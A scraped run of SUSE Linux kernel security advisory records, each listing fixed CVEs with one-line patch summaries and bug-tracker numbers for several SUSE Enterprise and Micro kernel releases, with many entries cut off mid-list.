  • CVE-2024-36883: net: fix out-of-bounds access in ops_init (bsc#1225725).
  • CVE-2024-36886: tipc: fix UAF in error path (bsc#1225730).
  • CVE-2024-36905: tcp: defer shutdown(SEND_SHUTDOWN) for TCP_SYN_RECV sockets (bsc#1225742).
  • CVE-2024-36927: ipv4: Fix uninit-value access in __ip_make_skb() (bsc#1225813).
  • CVE-2024-36954: tipc: fix a possible memleak in tipc_buf_append (bsc#1225764).
  • CVE-2024-36968: Bluetooth: L2CAP: Fix div-by-zero in l2cap_le_flowctl_init() (bsc#1226130).
  • CVE-2024-38589: netrom: fix possible dead-lock in nr_rt_ioctl() (bsc#1226748).
  • CVE-2024-40914: mm/huge_memory: do not unpoison huge_zero_folio (bsc#1227842).
  • CVE-2024-41023: sched/deadline: Fix task_struct reference leak (bsc#1228430).
  • CVE-2024-41031: mm/filemap: skip to create PMD-sized page cache if needed (bsc#1228454).
  • CVE-2024-41082: nvme-fabrics: use reserved tag for reg read/write command (bsc#1228620).
  • CVE-2024-42102: Revert 'mm/writeback: fix possible divide-by-zero in wb_dirty_limits(), again' (bsc#1233132).
  • CVE-2024-44958: sched/smt: Fix unbalance sched_smt_present dec/inc (bsc#1230179).
  • CVE-2024-44995: net: hns3: fix a deadlock problem when config TC during resetting (bsc#1230231).
  • CVE-2024-45016: netem: fix return value if duplicate enqueue fails (bsc#1230429).
  • CVE-2024-45025: fix bitmap corruption on close_range() with CLOSE_RANGE_UNSHARE (bsc#1230456).
  • CVE-2024-46678: bonding: change ipsec_lock from spin lock to mutex (bsc#1230550).
  • CVE-2024-46680: Bluetooth: btnxpuart: Fix random crash seen while removing driver (bsc#1230557).
  • CVE-2024-46681: pktgen: use cpus_read_lock() in pg_net_init() (bsc#1230558).
  • CVE-2024-46721: pparmor: fix possible NULL pointer dereference (bsc#1230710)
  • CVE-2024-46754: bpf: Remove tst_run from lwt_seg6local_prog_ops (bsc#1230801).
  • CVE-2024-46765: ice: protect XDP configuration with a mutex (bsc#1230807).
  • CVE-2024-46766: ice: move netif_queue_set_napi to rtnl-protected sections (bsc#1230762).
  • CVE-2024-46770: ice: Add netif_device_attach/detach into PF reset flow (bsc#1230763).
  • CVE-2024-46775: drm/amd/display: Validate function returns (bsc#1230774).
  • CVE-2024-46777: udf: Avoid excessive partition lengths (bsc#1230773).
  • CVE-2024-46800: sch/netem: fix use after free in netem_dequeue (bsc#1230827).
  • CVE-2024-46813: drm/amd/display: Check link_index before accessing dc->links (bsc#1231191).
  • CVE-2024-46816: drm/amd/display: Stop amdgpu_dm initialize when link nums greater than max_links (bsc#1231197).
  • CVE-2024-46826: ELF: fix kernel.randomize_va_space double read (bsc#1231115).
  • CVE-2024-46828: sched: sch_cake: fix bulk flow accounting logic for host fairness (bsc#1231114).
  • CVE-2024-46831: net: microchip: vcap: Fix use-after-free…
Record
SUSE-SU-2024:4318-1
Updated
2026-11-02
OSVSUSE-SU-2024:4364-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP5 kernel was updated to receive various security bugfixes.

The following security bugs were fixed:

  • CVE-2021-47594: mptcp: never allow the PM to close a listener subflow (bsc#1226560).
  • CVE-2022-48879: efi: fix NULL-deref in init error path (bsc#1229556).
  • CVE-2022-48956: ipv6: avoid use-after-free in ip6_fragment() (bsc#1231893).
  • CVE-2022-48957: dpaa2-switch: Fix memory leak in dpaa2_switch_acl_entry_add() and dpaa2_switch_acl_entry_remove() (bsc#1231973).
  • CVE-2022-48958: ethernet: aeroflex: fix potential skb leak in greth_init_rings() (bsc#1231889).
  • CVE-2022-48959: net: dsa: sja1105: fix memory leak in sja1105_setup_devlink_regions() (bsc#1231976).
  • CVE-2022-48960: net: hisilicon: Fix potential use-after-free in hix5hd2_rx() (bsc#1231979).
  • CVE-2022-48962: net: hisilicon: Fix potential use-after-free in hisi_femac_rx() (bsc#1232286).
  • CVE-2022-48966: net: mvneta: Fix an out of bounds check (bsc#1232191).
  • CVE-2022-48980: net: dsa: sja1105: avoid out of bounds access in sja1105_init_l2_policing() (bsc#1232233).
  • CVE-2022-48983: io_uring: Fix a null-ptr-deref in io_tctx_exit_cb() (bsc#1231959).
  • CVE-2022-48991: mm/khugepaged: fix collapse_pte_mapped_thp() to allow anon_vma (bsc#1232070).
  • CVE-2022-49015: net: hsr: Fix potential use-after-free (bsc#1231938).
  • CVE-2022-49017: tipc: re-fetch skb cb after tipc_msg_validate (bsc#1232004).
  • CVE-2022-49020: net/9p: Fix a potential socket leak in p9_socket_open (bsc#1232175).
  • CVE-2024-26782: mptcp: fix double-free on socket dismantle (bsc#1222590).
  • CVE-2024-26906: Fixed invalid vsyscall page read for copy_from_kernel_nofault() (bsc#1223202).
  • CVE-2024-26953: net: esp: fix bad handling of pages from page_pool (bsc#1223656).
  • CVE-2024-35888: erspan: make sure erspan_base_hdr is present in skb->head (bsc#1224518).
  • CVE-2024-35937: wifi: cfg80211: check A-MSDU format more carefully (bsc#1224526).
  • CVE-2024-36244: net/sched: taprio: extend minimum interval restriction to entire cycle too (bsc#1226797).
  • CVE-2024-36883: net: fix out-of-bounds access in ops_init (bsc#1225725).
  • CVE-2024-36886: tipc: fix UAF in error path (bsc#1225730).
  • CVE-2024-36905: tcp: defer shutdown(SEND_SHUTDOWN) for TCP_SYN_RECV sockets (bsc#1225742).
  • CVE-2024-36954: tipc: fix a possible memleak in tipc_buf_append (bsc#1225764).
  • CVE-2024-36957: octeontx2-af: avoid off-by-one read from userspace (bsc#1225762).
  • CVE-2024-38589: netrom: fix possible dead-lock in nr_rt_ioctl() (bsc#1226748).
  • CVE-2024-38615: cpufreq: exit() callback is optional (bsc#1226592).
  • CVE-2024-39476: md/raid5: fix deadlock that raid5d() wait for itself to clear MD_SB_CHANGE_PENDING (bsc#1227437).
  • CVE-2024-40965: i2c: lpi2c: Avoid calling clk_get_rate during transfer (bsc#1227885).
  • CVE-2024-40997: cpufreq: amd-pstate: fix memory leak on CPU EPP exit (bsc#1227853).
  • CVE-2024-41023: sched/deadline: Fix task_struct reference leak (bsc#1228430).
  • CVE-2024-42226: Prevent potential failure in handle_tx_event() for Transfer events without TRB (bsc#1228709).
  • CVE-2024-42253: gpio: pca953x: fix pca953x_irq_bus_sync_unlock race (bsc#1229005).
  • CVE-2024-44931: gpio: prevent potential speculation leaks in gpio_device_get_desc() (bsc#1229837).
  • CVE-2024-44932: idpf: fix UAFs when destroying the queues (bsc#1229808).
  • CVE-2024-44958: sched/smt: Fix unbalance sched_smt_present dec/inc (bsc#1230179).
  • CVE-2024-44964: idpf: fix memory leaks and crashes while performing a soft reset (bsc#1230220).
  • CVE-2024-44995: net: hns3: fix a deadlock problem when config TC during resetting (bsc#1230231).
  • CVE-2024-45016: netem: fix return value if duplicate enqueue fails (bsc#1230429).
  • CVE-2024-45025: fix bitmap corruption on close_range() with CLOSE_RANGE_UNSHARE (bsc#1230456).
  • CVE-2024-46678: bonding: change ipsec_lock from spin lock to mutex (bsc#1230550).
  • CVE-2024-46681: pktgen: use cpus_read_lock() in pg_net_init() (bsc#1230558).
  • CVE-2024-46716: dmaengine: altera-msgdma:…
Record
SUSE-SU-2024:4364-1
Updated
2026-11-02
OSVSUSE-SU-2024:4376-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP5 Azure kernel was updated to receive various security bugfixes.

The following security bugs were fixed:

  • CVE-2021-47594: mptcp: never allow the PM to close a listener subflow (bsc#1226560).
  • CVE-2022-48983: io_uring: Fix a null-ptr-deref in io_tctx_exit_cb() (bsc#1231959).
  • CVE-2024-26782: mptcp: fix double-free on socket dismantle (bsc#1222590).
  • CVE-2024-26906: Fixed invalid vsyscall page read for copy_from_kernel_nofault() (bsc#1223202).
  • CVE-2024-26953: net: esp: fix bad handling of pages from page_pool (bsc#1223656).
  • CVE-2024-35888: erspan: make sure erspan_base_hdr is present in skb->head (bsc#1224518).
  • CVE-2024-35937: wifi: cfg80211: check A-MSDU format more carefully (bsc#1224526).
  • CVE-2024-36883: net: fix out-of-bounds access in ops_init (bsc#1225725).
  • CVE-2024-36886: tipc: fix UAF in error path (bsc#1225730).
  • CVE-2024-36905: tcp: defer shutdown(SEND_SHUTDOWN) for TCP_SYN_RECV sockets (bsc#1225742).
  • CVE-2024-36954: tipc: fix a possible memleak in tipc_buf_append (bsc#1225764).
  • CVE-2024-38589: netrom: fix possible dead-lock in nr_rt_ioctl() (bsc#1226748).
  • CVE-2024-38615: cpufreq: exit() callback is optional (bsc#1226592).
  • CVE-2024-40997: cpufreq: amd-pstate: fix memory leak on CPU EPP exit (bsc#1227853).
  • CVE-2024-41023: sched/deadline: Fix task_struct reference leak (bsc#1228430).
  • CVE-2024-44932: idpf: fix UAFs when destroying the queues (bsc#1229808).
  • CVE-2024-44964: idpf: fix memory leaks and crashes while performing a soft reset (bsc#1230220).
  • CVE-2024-44995: net: hns3: fix a deadlock problem when config TC during resetting (bsc#1230231).
  • CVE-2024-46681: pktgen: use cpus_read_lock() in pg_net_init() (bsc#1230558).
  • CVE-2024-46800: sch/netem: fix use after free in netem_dequeue (bsc#1230827).
  • CVE-2024-47679: vfs: fix race between evice_inodes() and find_inode()&iput() (bsc#1231930).
  • CVE-2024-47701: ext4: explicitly exit when ext4_find_inline_entry returns an error (bsc#1231920).
  • CVE-2024-47745: mm: split critical region in remap_file_pages() and invoke LSMs in between (bsc#1232135).
  • CVE-2024-47757: nilfs2: fix potential oob read in nilfs_btree_check_delete() (bsc#1232187).
  • CVE-2024-49868: btrfs: fix a NULL pointer dereference when failed to start a new trasacntion (bsc#1232272).
  • CVE-2024-49921: drm/amd/display: Check null pointers before used (bsc#1232371).
  • CVE-2024-49925: fbdev: efifb: Register sysfs groups through driver core (bsc#1232224)
  • CVE-2024-49934: fs/inode: Prevent dump_mapping() accessing invalid dentry.d_name.name (bsc#1232387).
  • CVE-2024-49945: net/ncsi: Disable the ncsi work before freeing the associated structure (bsc#1232165).
  • CVE-2024-49950: Bluetooth: L2CAP: Fix uaf in l2cap_connect (bsc#1232159).
  • CVE-2024-49968: ext4: fix error message when rejecting the default hash (bsc#1232264).
  • CVE-2024-49983: ext4: drop ppath from ext4_ext_replay_update_ex() to avoid double-free (bsc#1232096).
  • CVE-2024-49989: drm/amd/display: fix double free issue during amdgpu module unload (bsc#1232483).
  • CVE-2024-50009: cpufreq: amd-pstate: add check for cpufreq_cpu_get's return value (bsc#1232318).
  • CVE-2024-50073: tty: n_gsm: Fix use-after-free in gsm_cleanup_mux (bsc#1232520).
  • CVE-2024-50082: blk-rq-qos: fix crash on rq_qos_wait vs. rq_qos_wake_function race (bsc#1232500).
  • CVE-2024-50089: unicode: Do not special case ignorable code points (bsc#1232860).
  • CVE-2024-50093: thermal: intel: int340x: processor: Fix warning during module unload (bsc#1232877).
  • CVE-2024-50098: scsi: ufs: core: Set SDEV_OFFLINE when UFS is shut down (bsc#1232881).
  • CVE-2024-50108: drm/amd/display: Disable PSR-SU on Parade 08-01 TCON too (bsc#1232884).
  • CVE-2024-50110: xfrm: fix one more kernel-infoleak in algo dumping (bsc#1232885).
  • CVE-2024-50115: KVM: nSVM: Ignore nCR3[4:0] when loading PDPTEs from memory (bsc#1232919).
  • CVE-2024-50125: Bluetooth: SCO: Fix UAF on sco_sock_timeout (bsc#1232928).
  • CVE-2024-50127: net: sched: fix…
Record
SUSE-SU-2024:4376-1
Updated
2026-11-02
OSVSUSE-SU-2024:4387-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP6 Confidential Computing kernel was updated to receive various security bugfixes.

The following security bugs were fixed:

  • CVE-2023-52778: mptcp: deal with large GSO size (bsc#1224948).
  • CVE-2023-52920: bpf: support non-r10 register spill/fill to/from stack in precision tracking (bsc#1232823).
  • CVE-2023-6270: aoe: fix the potential use-after-free problem in more places (bsc#1218562).
  • CVE-2024-26741: dccp/tcp: Unhash sk from ehash for tb2 alloc failure after check_estalblished() (bsc#1222587).
  • CVE-2024-26782: mptcp: fix double-free on socket dismantle (bsc#1222590).
  • CVE-2024-26953: net: esp: fix bad handling of pages from page_pool (bsc#1223656).
  • CVE-2024-27017: netfilter: nft_set_pipapo: walk over current view on netlink dump (bsc#1223733).
  • CVE-2024-35888: erspan: make sure erspan_base_hdr is present in skb->head (bsc#1224518).
  • CVE-2024-36000: mm/hugetlb: fix missing hugetlb_lock for resv uncharge (bsc#1224548).
  • CVE-2024-36244: net/sched: taprio: extend minimum interval restriction to entire cycle too (bsc#1226797).
  • CVE-2024-36883: net: fix out-of-bounds access in ops_init (bsc#1225725).
  • CVE-2024-36886: tipc: fix UAF in error path (bsc#1225730).
  • CVE-2024-36905: tcp: defer shutdown(SEND_SHUTDOWN) for TCP_SYN_RECV sockets (bsc#1225742).
  • CVE-2024-36927: ipv4: Fix uninit-value access in __ip_make_skb() (bsc#1225813).
  • CVE-2024-36954: tipc: fix a possible memleak in tipc_buf_append (bsc#1225764).
  • CVE-2024-36968: Bluetooth: L2CAP: Fix div-by-zero in l2cap_le_flowctl_init() (bsc#1226130).
  • CVE-2024-38589: netrom: fix possible dead-lock in nr_rt_ioctl() (bsc#1226748).
  • CVE-2024-40914: mm/huge_memory: do not unpoison huge_zero_folio (bsc#1227842).
  • CVE-2024-41023: sched/deadline: Fix task_struct reference leak (bsc#1228430).
  • CVE-2024-41031: mm/filemap: skip to create PMD-sized page cache if needed (bsc#1228454).
  • CVE-2024-41082: nvme-fabrics: use reserved tag for reg read/write command (bsc#1228620).
  • CVE-2024-42102: Revert 'mm/writeback: fix possible divide-by-zero in wb_dirty_limits(), again' (bsc#1233132).
  • CVE-2024-44958: sched/smt: Fix unbalance sched_smt_present dec/inc (bsc#1230179).
  • CVE-2024-44995: net: hns3: fix a deadlock problem when config TC during resetting (bsc#1230231).
  • CVE-2024-45016: netem: fix return value if duplicate enqueue fails (bsc#1230429).
  • CVE-2024-45025: fix bitmap corruption on close_range() with CLOSE_RANGE_UNSHARE (bsc#1230456).
  • CVE-2024-46678: bonding: change ipsec_lock from spin lock to mutex (bsc#1230550).
  • CVE-2024-46681: pktgen: use cpus_read_lock() in pg_net_init() (bsc#1230558).
  • CVE-2024-46721: pparmor: fix possible NULL pointer dereference (bsc#1230710)
  • CVE-2024-46754: bpf: Remove tst_run from lwt_seg6local_prog_ops (bsc#1230801).
  • CVE-2024-46766: ice: move netif_queue_set_napi to rtnl-protected sections (bsc#1230762).
  • CVE-2024-46770: ice: Add netif_device_attach/detach into PF reset flow (bsc#1230763).
  • CVE-2024-46775: drm/amd/display: Validate function returns (bsc#1230774).
  • CVE-2024-46777: udf: Avoid excessive partition lengths (bsc#1230773).
  • CVE-2024-46813: drm/amd/display: Check link_index before accessing dc->links (bsc#1231191).
  • CVE-2024-46816: drm/amd/display: Stop amdgpu_dm initialize when link nums greater than max_links (bsc#1231197).
  • CVE-2024-46826: ELF: fix kernel.randomize_va_space double read (bsc#1231115).
  • CVE-2024-46828: sched: sch_cake: fix bulk flow accounting logic for host fairness (bsc#1231114).
  • CVE-2024-46831: net: microchip: vcap: Fix use-after-free error in kunit test (bsc#1231117).
  • CVE-2024-46834: ethtool: fail closed if we can't get max channel used in indirection tables (bsc#1231096).
  • CVE-2024-46840: btrfs: clean up our handling of refs == 0 in snapshot delete (bsc#1231105).
  • CVE-2024-46841: btrfs: do not BUG_ON on ENOMEM from btrfs_lookup_extent_info() in walk_down_proc() (bsc#1231094).
  • CVE-2024-46843: scsi: ufs: core: Remove SCSI host only if added…
Record
SUSE-SU-2024:4387-1
Updated
2026-11-02
OSVSUSE-SU-2025:0034-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 12 SP5 kernel was updated to receive various security bugfixes.

The Linux Enterprise 12 SP5 kernel turned LTSS (Extended Security)

The following security bugs were fixed:

  • CVE-2021-46936: Fixed use-after-free in tw_timer_handler() (bsc#1220439).
  • CVE-2021-47163: kABI fix for tipc: wait and exit until all work queues are done (bsc#1221980).
  • CVE-2021-47612: nfc: fix segfault in nfc_genl_dump_devices_done (bsc#1226585).
  • CVE-2022-48809: net: fix a memleak when uncloning an skb dst and its metadata (bsc#1227947).
  • CVE-2022-48951: ASoC: ops: Correct bounds check for second channel on SX controls (bsc#1231929).
  • CVE-2022-48956: ipv6: avoid use-after-free in ip6_fragment() (bsc#1231893).
  • CVE-2022-48958: ethernet: aeroflex: fix potential skb leak in greth_init_rings() (bsc#1231889).
  • CVE-2022-48960: net: hisilicon: Fix potential use-after-free in hix5hd2_rx() (bsc#1231979).
  • CVE-2022-48962: net: hisilicon: Fix potential use-after-free in hisi_femac_rx() (bsc#1232286).
  • CVE-2022-48966: net: mvneta: Fix an out of bounds check (bsc#1232191).
  • CVE-2022-48967: NFC: nci: Bounds check struct nfc_target arrays (bsc#1232304).
  • CVE-2022-48971: Bluetooth: Fix not cleanup led when bt_init fails (bsc#1232037).
  • CVE-2022-48972: mac802154: fix missing INIT_LIST_HEAD in ieee802154_if_add() (bsc#1232025).
  • CVE-2022-48973: gpio: amd8111: Fix PCI device reference count leak (bsc#1232039).
  • CVE-2022-48978: HID: core: fix shift-out-of-bounds in hid_report_raw_event (bsc#1232038).
  • CVE-2022-48991: mm/khugepaged: invoke MMU notifiers in shmem/file collapse paths (bsc#1232070).
  • CVE-2022-48992: ASoC: soc-pcm: Add NULL check in BE reparenting (bsc#1232071).
  • CVE-2022-49000: iommu/vt-d: Fix PCI device refcount leak in has_external_pci() (bsc#1232123).
  • CVE-2022-49002: iommu/vt-d: Fix PCI device refcount leak in dmar_dev_scope_init() (bsc#1232133).
  • CVE-2022-49010: hwmon: (coretemp) Check for null before removing sysfs attrs (bsc#1232172).
  • CVE-2022-49011: hwmon: (coretemp) fix pci device refcount leak in nv1a_ram_new() (bsc#1232006).
  • CVE-2022-49014: net: tun: Fix use-after-free in tun_detach() (bsc#1231890).
  • CVE-2022-49015: net: hsr: Fix potential use-after-free (bsc#1231938).
  • CVE-2022-49020: net/9p: Fix a potential socket leak in p9_socket_open (bsc#1232175).
  • CVE-2022-49021: net: phy: fix null-ptr-deref while probe() failed (bsc#1231939).
  • CVE-2022-49026: e100: Fix possible use after free in e100_xmit_prepare (bsc#1231997).
  • CVE-2022-49027: iavf: Fix error handling in iavf_init_module() (bsc#1232007).
  • CVE-2022-49028: ixgbevf: Fix resource leak in ixgbevf_init_module() (bsc#1231996).
  • CVE-2022-49029: hwmon: (ibmpex) Fix possible UAF when ibmpex_register_bmc() fails (bsc#1231995).
  • CVE-2023-52898: xhci: Fix null pointer dereference when host dies (bsc#1229568).
  • CVE-2023-52918: media: pci: cx23885: check cx23885_vdev_init() return (bsc#1232047).
  • CVE-2024-26804: net: ip_tunnel: prevent perpetual headroom growth (bsc#1222629).
  • CVE-2024-38538: net: bridge: xmit: make sure we have at least eth header len bytes (bsc#1226606).
  • CVE-2024-39476: md/raid5: fix deadlock that raid5d() wait for itself to clear MD_SB_CHANGE_PENDING (bsc#1227437).
  • CVE-2024-40965: i2c: lpi2c: Avoid calling clk_get_rate during transfer (bsc#1227885).
  • CVE-2024-41082: nvme-fabrics: use reserved tag for reg read/write command (bsc#1228620).
  • CVE-2024-42114: netlink: extend policy range validation (bsc#1228564 prerequisite).
  • CVE-2024-42253: gpio: pca953x: fix pca953x_irq_bus_sync_unlock race (bsc#1229005 stable-fixes).
  • CVE-2024-44931: gpio: prevent potential speculation leaks in gpio_device_get_desc() (bsc#1229837 stable-fixes).
  • CVE-2024-44958: sched/smt: Fix unbalance sched_smt_present dec/inc (bsc#1230179).
  • CVE-2024-46724: drm/amdgpu: Fix out-of-bounds read of df_v1_7_channel_number (bsc#1230725).
  • CVE-2024-46755: wifi: mwifiex: Do not return unused priv in mwifiex_get_priv_by_id() (bsc#1230802). -…
Record
SUSE-SU-2025:0034-1
Updated
2026-11-02
OSVSUSE-SU-2025:20163-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise Micro 6.0 and 6.1 RT kernel was updated to receive various security bugfixes.

The following security bugs were fixed:

  • CVE-2023-52778: mptcp: deal with large GSO size (bsc#1224948).
  • CVE-2023-52920: bpf: support non-r10 register spill/fill to/from stack in precision tracking (bsc#1232823).
  • CVE-2024-26596: net: dsa: fix netdev_priv() dereference before check on non-DSA netdevice events (bsc#1220355).
  • CVE-2024-26741: dccp/tcp: Unhash sk from ehash for tb2 alloc failure after check_estalblished() (bsc#1222587).
  • CVE-2024-26782: mptcp: fix double-free on socket dismantle (bsc#1222590).
  • CVE-2024-26953: net: esp: fix bad handling of pages from page_pool (bsc#1223656).
  • CVE-2024-27017: netfilter: nft_set_pipapo: walk over current view on netlink dump (bsc#1223733).
  • CVE-2024-35888: erspan: make sure erspan_base_hdr is present in skb->head (bsc#1224518).
  • CVE-2024-36000: mm/hugetlb: fix missing hugetlb_lock for resv uncharge (bsc#1224548).
  • CVE-2024-36244: net/sched: taprio: extend minimum interval restriction to entire cycle too (bsc#1226797).
  • CVE-2024-36883: net: fix out-of-bounds access in ops_init (bsc#1225725).
  • CVE-2024-36886: tipc: fix UAF in error path (bsc#1225730).
  • CVE-2024-36905: tcp: defer shutdown(SEND_SHUTDOWN) for TCP_SYN_RECV sockets (bsc#1225742).
  • CVE-2024-36927: ipv4: Fix uninit-value access in __ip_make_skb() (bsc#1225813).
  • CVE-2024-36954: tipc: fix a possible memleak in tipc_buf_append (bsc#1225764).
  • CVE-2024-36968: Bluetooth: L2CAP: Fix div-by-zero in l2cap_le_flowctl_init() (bsc#1226130).
  • CVE-2024-38589: netrom: fix possible dead-lock in nr_rt_ioctl() (bsc#1226748).
  • CVE-2024-40914: mm/huge_memory: do not unpoison huge_zero_folio (bsc#1227842).
  • CVE-2024-41023: sched/deadline: Fix task_struct reference leak (bsc#1228430).
  • CVE-2024-41031: mm/filemap: skip to create PMD-sized page cache if needed (bsc#1228454).
  • CVE-2024-41082: nvme-fabrics: use reserved tag for reg read/write command (bsc#1228620).
  • CVE-2024-42102: Revert "mm/writeback: fix possible divide-by-zero in wb_dirty_limits(), again" (bsc#1233132).
  • CVE-2024-44958: sched/smt: Fix unbalance sched_smt_present dec/inc (bsc#1230179).
  • CVE-2024-44995: net: hns3: fix a deadlock problem when config TC during resetting (bsc#1230231).
  • CVE-2024-45016: netem: fix return value if duplicate enqueue fails (bsc#1230429).
  • CVE-2024-45025: fix bitmap corruption on close_range() with CLOSE_RANGE_UNSHARE (bsc#1230456).
  • CVE-2024-46678: bonding: change ipsec_lock from spin lock to mutex (bsc#1230550).
  • CVE-2024-46680: Bluetooth: btnxpuart: Fix random crash seen while removing driver (bsc#1230557).
  • CVE-2024-46681: pktgen: use cpus_read_lock() in pg_net_init() (bsc#1230558).
  • CVE-2024-46721: pparmor: fix possible NULL pointer dereference (bsc#1230710)
  • CVE-2024-46754: bpf: Remove tst_run from lwt_seg6local_prog_ops (bsc#1230801).
  • CVE-2024-46765: ice: protect XDP configuration with a mutex (bsc#1230807).
  • CVE-2024-46766: ice: move netif_queue_set_napi to rtnl-protected sections (bsc#1230762).
  • CVE-2024-46770: ice: Add netif_device_attach/detach into PF reset flow (bsc#1230763).
  • CVE-2024-46775: drm/amd/display: Validate function returns (bsc#1230774).
  • CVE-2024-46777: udf: Avoid excessive partition lengths (bsc#1230773).
  • CVE-2024-46800: sch/netem: fix use after free in netem_dequeue (bsc#1230827).
  • CVE-2024-46813: drm/amd/display: Check link_index before accessing dc->links (bsc#1231191).
  • CVE-2024-46816: drm/amd/display: Stop amdgpu_dm initialize when link nums greater than max_links (bsc#1231197).
  • CVE-2024-46826: ELF: fix kernel.randomize_va_space double read (bsc#1231115).
  • CVE-2024-46831: net: microchip: vcap: Fix use-after-free error in kunit test (bsc#1231117).
  • CVE-2024-46834: ethtool: fail closed if we can't get max channel used in indirection tables (bsc#1231096).
  • CVE-2024-46840: btrfs: clean up our handling of refs == 0 in snapshot delete (bsc#1231105).
  • CVE-2024-46841: btrfs:…
Record
SUSE-SU-2025:20163-1
Updated
2026-11-02
OSVSUSE-SU-2025:20164-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise Micro 6.0 and 6.1 kernel was updated to receive various security bugfixes.

The following security bugs were fixed:

  • CVE-2023-52778: mptcp: deal with large GSO size (bsc#1224948).
  • CVE-2023-52920: bpf: support non-r10 register spill/fill to/from stack in precision tracking (bsc#1232823).
  • CVE-2024-26596: net: dsa: fix netdev_priv() dereference before check on non-DSA netdevice events (bsc#1220355).
  • CVE-2024-26741: dccp/tcp: Unhash sk from ehash for tb2 alloc failure after check_estalblished() (bsc#1222587).
  • CVE-2024-26782: mptcp: fix double-free on socket dismantle (bsc#1222590).
  • CVE-2024-26953: net: esp: fix bad handling of pages from page_pool (bsc#1223656).
  • CVE-2024-27017: netfilter: nft_set_pipapo: walk over current view on netlink dump (bsc#1223733).
  • CVE-2024-35888: erspan: make sure erspan_base_hdr is present in skb->head (bsc#1224518).
  • CVE-2024-36000: mm/hugetlb: fix missing hugetlb_lock for resv uncharge (bsc#1224548).
  • CVE-2024-36244: net/sched: taprio: extend minimum interval restriction to entire cycle too (bsc#1226797).
  • CVE-2024-36883: net: fix out-of-bounds access in ops_init (bsc#1225725).
  • CVE-2024-36886: tipc: fix UAF in error path (bsc#1225730).
  • CVE-2024-36905: tcp: defer shutdown(SEND_SHUTDOWN) for TCP_SYN_RECV sockets (bsc#1225742).
  • CVE-2024-36927: ipv4: Fix uninit-value access in __ip_make_skb() (bsc#1225813).
  • CVE-2024-36954: tipc: fix a possible memleak in tipc_buf_append (bsc#1225764).
  • CVE-2024-36968: Bluetooth: L2CAP: Fix div-by-zero in l2cap_le_flowctl_init() (bsc#1226130).
  • CVE-2024-38589: netrom: fix possible dead-lock in nr_rt_ioctl() (bsc#1226748).
  • CVE-2024-40914: mm/huge_memory: do not unpoison huge_zero_folio (bsc#1227842).
  • CVE-2024-41023: sched/deadline: Fix task_struct reference leak (bsc#1228430).
  • CVE-2024-41031: mm/filemap: skip to create PMD-sized page cache if needed (bsc#1228454).
  • CVE-2024-41082: nvme-fabrics: use reserved tag for reg read/write command (bsc#1228620).
  • CVE-2024-42102: Revert "mm/writeback: fix possible divide-by-zero in wb_dirty_limits(), again" (bsc#1233132).
  • CVE-2024-44958: sched/smt: Fix unbalance sched_smt_present dec/inc (bsc#1230179).
  • CVE-2024-44995: net: hns3: fix a deadlock problem when config TC during resetting (bsc#1230231).
  • CVE-2024-45016: netem: fix return value if duplicate enqueue fails (bsc#1230429).
  • CVE-2024-45025: fix bitmap corruption on close_range() with CLOSE_RANGE_UNSHARE (bsc#1230456).
  • CVE-2024-46678: bonding: change ipsec_lock from spin lock to mutex (bsc#1230550).
  • CVE-2024-46680: Bluetooth: btnxpuart: Fix random crash seen while removing driver (bsc#1230557).
  • CVE-2024-46681: pktgen: use cpus_read_lock() in pg_net_init() (bsc#1230558).
  • CVE-2024-46721: pparmor: fix possible NULL pointer dereference (bsc#1230710)
  • CVE-2024-46754: bpf: Remove tst_run from lwt_seg6local_prog_ops (bsc#1230801).
  • CVE-2024-46765: ice: protect XDP configuration with a mutex (bsc#1230807).
  • CVE-2024-46766: ice: move netif_queue_set_napi to rtnl-protected sections (bsc#1230762).
  • CVE-2024-46770: ice: Add netif_device_attach/detach into PF reset flow (bsc#1230763).
  • CVE-2024-46775: drm/amd/display: Validate function returns (bsc#1230774).
  • CVE-2024-46777: udf: Avoid excessive partition lengths (bsc#1230773).
  • CVE-2024-46800: sch/netem: fix use after free in netem_dequeue (bsc#1230827).
  • CVE-2024-46813: drm/amd/display: Check link_index before accessing dc->links (bsc#1231191).
  • CVE-2024-46816: drm/amd/display: Stop amdgpu_dm initialize when link nums greater than max_links (bsc#1231197).
  • CVE-2024-46826: ELF: fix kernel.randomize_va_space double read (bsc#1231115).
  • CVE-2024-46831: net: microchip: vcap: Fix use-after-free error in kunit test (bsc#1231117).
  • CVE-2024-46834: ethtool: fail closed if we can't get max channel used in indirection tables (bsc#1231096).
  • CVE-2024-46840: btrfs: clean up our handling of refs == 0 in snapshot delete (bsc#1231105).
  • CVE-2024-46841: btrfs: do…
Record
SUSE-SU-2025:20164-1
Updated
2026-11-02
OSVSUSE-SU-2025:20246-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise Micro 6.0 and 6.1 RT kernel was updated to receive various security bugfixes.

The following security bugs were fixed:

  • CVE-2023-52778: mptcp: deal with large GSO size (bsc#1224948).
  • CVE-2023-52920: bpf: support non-r10 register spill/fill to/from stack in precision tracking (bsc#1232823).
  • CVE-2024-26596: net: dsa: fix netdev_priv() dereference before check on non-DSA netdevice events (bsc#1220355).
  • CVE-2024-26741: dccp/tcp: Unhash sk from ehash for tb2 alloc failure after check_estalblished() (bsc#1222587).
  • CVE-2024-26782: mptcp: fix double-free on socket dismantle (bsc#1222590).
  • CVE-2024-26953: net: esp: fix bad handling of pages from page_pool (bsc#1223656).
  • CVE-2024-27017: netfilter: nft_set_pipapo: walk over current view on netlink dump (bsc#1223733).
  • CVE-2024-35888: erspan: make sure erspan_base_hdr is present in skb->head (bsc#1224518).
  • CVE-2024-36000: mm/hugetlb: fix missing hugetlb_lock for resv uncharge (bsc#1224548).
  • CVE-2024-36244: net/sched: taprio: extend minimum interval restriction to entire cycle too (bsc#1226797).
  • CVE-2024-36883: net: fix out-of-bounds access in ops_init (bsc#1225725).
  • CVE-2024-36886: tipc: fix UAF in error path (bsc#1225730).
  • CVE-2024-36905: tcp: defer shutdown(SEND_SHUTDOWN) for TCP_SYN_RECV sockets (bsc#1225742).
  • CVE-2024-36927: ipv4: Fix uninit-value access in __ip_make_skb() (bsc#1225813).
  • CVE-2024-36954: tipc: fix a possible memleak in tipc_buf_append (bsc#1225764).
